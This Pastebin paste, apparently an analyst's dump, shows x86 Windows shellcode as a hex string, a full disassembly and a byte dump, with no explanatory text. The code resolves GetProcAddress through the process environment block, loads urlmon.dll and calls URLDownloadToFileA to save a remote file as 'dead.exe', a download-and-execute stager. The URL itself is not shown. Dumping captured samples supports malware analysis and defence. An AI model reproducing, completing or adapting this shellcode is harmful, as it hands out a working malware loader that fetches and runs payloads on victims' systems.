James_inthe_box

Dumped

Sep 11th, 2018
458
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.35 KB | None | 0 0
  1. Hex dump: 33 c9 64 8b 41 30 8b 40 0c 8b 70 14 ad 96 ad 8b 58 10 8b 53 3c 03 d3 8b 52 78 03 d3 8b 72 20 03 f3 33 c9 41 ad 03 c3 81 38 47 65 74 50 75 f4 81 78 04 72 6f 63 41 75 eb 81 78 08 64 64 72 65 75 e2 8b 72 24 03 f3 66 8b 0c 4e 49 8b 72 1c 03 f3 8b 14 8e 03 d3 33 c9 51 68 2e 65 78 65 68 64 65 61 64 53 52 51 68 61 72 79 41 68 4c 69 62 72 68 4c 6f 61 64 54 53 ff d2 83 c4 0c 59 50 51 66 b9 6c 6c 51 68 6f 6e 2e 64 68 75 72 6c 6d 54 ff d0 83 c4 10 8b 54 24 04 33 c9 51 66 b9 65 41 51 33 c9 68 6f 46 69 6c 68 6f 61 64 54 68 6f 77 6e 6c 68 55 52 4c 44 54 50 ff d2 33 c9 8d 54 24 24 51 51 52 eb 47 51 ff d0 83 c4 1c 33 c9 5a 00
  2. 0x00000000 33c9 xor ecx,ecx
  3. 0x00000002 648b4130 fs: mov eax,dword [ecx + 48]
  4. 0x00000006 8b400c mov eax,dword [eax + 12]
  5. 0x00000009 8b7014 mov esi,dword [eax + 20]
  6. 0x0000000c ad lodsd
  7. 0x0000000d 96 xchg eax,esi
  8. 0x0000000e ad lodsd
  9. 0x0000000f 8b5810 mov ebx,dword [eax + 16]
  10. 0x00000012 8b533c mov edx,dword [ebx + 60]
  11. 0x00000015 03d3 add edx,ebx
  12. 0x00000017 8b5278 mov edx,dword [edx + 120]
  13. 0x0000001a 03d3 add edx,ebx
  14. 0x0000001c 8b7220 mov esi,dword [edx + 32]
  15. 0x0000001f 03f3 add esi,ebx
  16. 0x00000021 33c9 xor ecx,ecx
  17. 0x00000023 41 inc ecx
  18. 0x00000024 ad lodsd
  19. 0x00000025 03c3 add eax,ebx
  20. 0x00000027 813847657450 cmp dword [eax],0x50746547
  21. 0x0000002d 75f4 jnz 0x00000023
  22. 0x0000002f 817804726f6341 cmp dword [eax + 4],0x41636f72
  23. 0x00000036 75eb jnz 0x00000023
  24. 0x00000038 81780864647265 cmp dword [eax + 8],0x65726464
  25. 0x0000003f 75e2 jnz 0x00000023
  26. 0x00000041 8b7224 mov esi,dword [edx + 36]
  27. 0x00000044 03f3 add esi,ebx
  28. 0x00000046 668b0c4e mov cx,word [esi + ecx * 2]
  29. 0x0000004a 49 dec ecx
  30. 0x0000004b 8b721c mov esi,dword [edx + 28]
  31. 0x0000004e 03f3 add esi,ebx
  32. 0x00000050 8b148e mov edx,dword [esi + ecx * 4]
  33. 0x00000053 03d3 add edx,ebx
  34. 0x00000055 33c9 xor ecx,ecx
  35. 0x00000057 51 push ecx
  36. 0x00000058 682e657865 push 0x6578652e--> 'exe.'
  37. 0x0000005d 6864656164 push 0x64616564--> 'daed'
  38. 0x00000062 53 push ebx
  39. 0x00000063 52 push edx
  40. 0x00000064 51 push ecx
  41. 0x00000065 6861727941 push 0x41797261--> 'Ayra'
  42. 0x0000006a 684c696272 push 0x7262694c--> 'rbiL'
  43. 0x0000006f 684c6f6164 push 0x64616f4c--> 'daoL'
  44. 0x00000074 54 push esp
  45. 0x00000075 53 push ebx
  46. 0x00000076 ffd2 call edx
  47. 0x00000078 83c40c add esp,12
  48. 0x0000007b 59 pop ecx
  49. 0x0000007c 50 push eax
  50. 0x0000007d 51 push ecx
  51. 0x0000007e 66b96c6c mov ecx,0x00006c6c--> 'll'
  52. 0x00000082 51 push ecx
  53. 0x00000083 686f6e2e64 push 0x642e6e6f--> 'd.no'
  54. 0x00000088 6875726c6d push 0x6d6c7275--> 'mlru'
  55. 0x0000008d 54 push esp
  56. 0x0000008e ffd0 call eax
  57. 0x00000090 83c410 add esp,16
  58. 0x00000093 8b542404 mov edx,dword [esp + 4]
  59. 0x00000097 33c9 xor ecx,ecx
  60. 0x00000099 51 push ecx
  61. 0x0000009a 66b96541 mov ecx,0x00004165--> 'Ae'
  62. 0x0000009e 51 push ecx
  63. 0x0000009f 33c9 xor ecx,ecx
  64. 0x000000a1 686f46696c push 0x6c69466f--> 'liFo'
  65. 0x000000a6 686f616454 push 0x5464616f--> 'Tdao'
  66. 0x000000ab 686f776e6c push 0x6c6e776f--> 'lnwo'
  67. 0x000000b0 6855524c44 push 0x444c5255--> 'DLRU'
  68. 0x000000b5 54 push esp
  69. 0x000000b6 50 push eax
  70. 0x000000b7 ffd2 call edx
  71. 0x000000b9 33c9 xor ecx,ecx
  72. 0x000000bb 8d542424 lea edx,dword [esp + 36]
  73. 0x000000bf 51 push ecx
  74. 0x000000c0 51 push ecx
  75. 0x000000c1 52 push edx
  76. 0x000000c2 eb47 jmp 0x0000010b
  77. 0x000000c4 51 push ecx
  78. 0x000000c5 ffd0 call eax
  79. 0x000000c7 83c41c add esp,28
  80. 0x000000ca 33c9 xor ecx,ecx
  81. 0x000000cc 5a pop edx
  82.  
  83. Byte Dump:
  84. [email protected]<...Rx...r..3.A....8GetPu..x.rocAu..x.ddreu..r$..f.NI.r........3.Qh.exehdeadSRQharyAhLibrhLoadTS....YPQf.llQhon.dhurlmT......T$.3.Qf.eAQ3.hoFilhoadThownlhURLDTP..3..T$$QQR.GQ.....3.Z.
Add Comment
Please, Sign In to add comment